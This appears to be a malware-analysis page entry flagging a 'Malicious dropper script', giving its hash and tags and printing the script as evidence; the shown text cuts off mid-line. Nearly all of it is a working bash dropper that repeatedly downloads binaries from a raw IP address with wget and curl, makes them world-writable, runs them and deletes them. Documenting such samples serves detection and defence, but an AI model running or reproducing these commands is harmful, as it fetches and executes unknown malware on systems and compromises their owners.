ok
Malicious dropper script
Raw-IP wget world-writable fetch executeRepeated raw-IP payload download chmod execution
SHA-2565752ae9a94cebf686664cdbf5cb88f7c53a1cd70947934a0958992bd98b532f4
MaleculeO(C₃)H₃(Cm₆F₂Po)
Evidence
1#!/bin/bash
2wget http://5.182.210.174/20c791; curl -O http://5.182.210.174/20c791; chmod 777 20c791; ./20c791 bc; rm -rf 20c791; rm -rf 20c791.1
3wget http://5.182.210.174/2be985; curl -O http://5.182.210.174/2be985; chmod 777 2be985; ./2be985 bc; rm -rf 2be985; rm -rf 2be985.1
4wget http://5.182.210.174/20fbae; curl -O http://5.182.210.174/20fbae; chmod 777 20fbae; ./20fbae bc; rm -rf 20fbae; rm -rf 20fbae.1
5wget http://5.182.210.174/c5d83d; curl -O http://5.182.210.174/c5d83d; chmod 777 c5d83d; ./c5d83d bc; rm -rf c5d83d; rm -rf c5d83d.1
6wget http://5.182.210.174/233bc5; curl -O http://5.182.210.174/233bc5; chmod 777 233bc5; ./233bc5 bc; rm -rf 233bc5; rm -rf 233bc5.1
7wget http://5.182.210.174/0ab716; curl -O http://5.182.210.174/0ab716; chmod 777 0ab716; ./0ab716 bc; rm -rf 0ab716; rm -rf 0ab716.1
8wget http://5.182.210.174/5bf116; curl -O http://5.182.210.174/5bf116; chmod 777 5bf116; ./5bf116 bc; rm -rf 5bf116; rm -rf 5bf116.1
9wget http://5.182.210.174/dd08c4; curl -O http://5.182.210.174/dd08c4; chmod 777 dd08c4; ./dd08c4 bc; rm -rf dd08c4; rm -rf dd08c4.1
10wget http://5.182.210.174/766551; curl -O http://5.182.210.174/766551; chmod 777 766551; ./7 …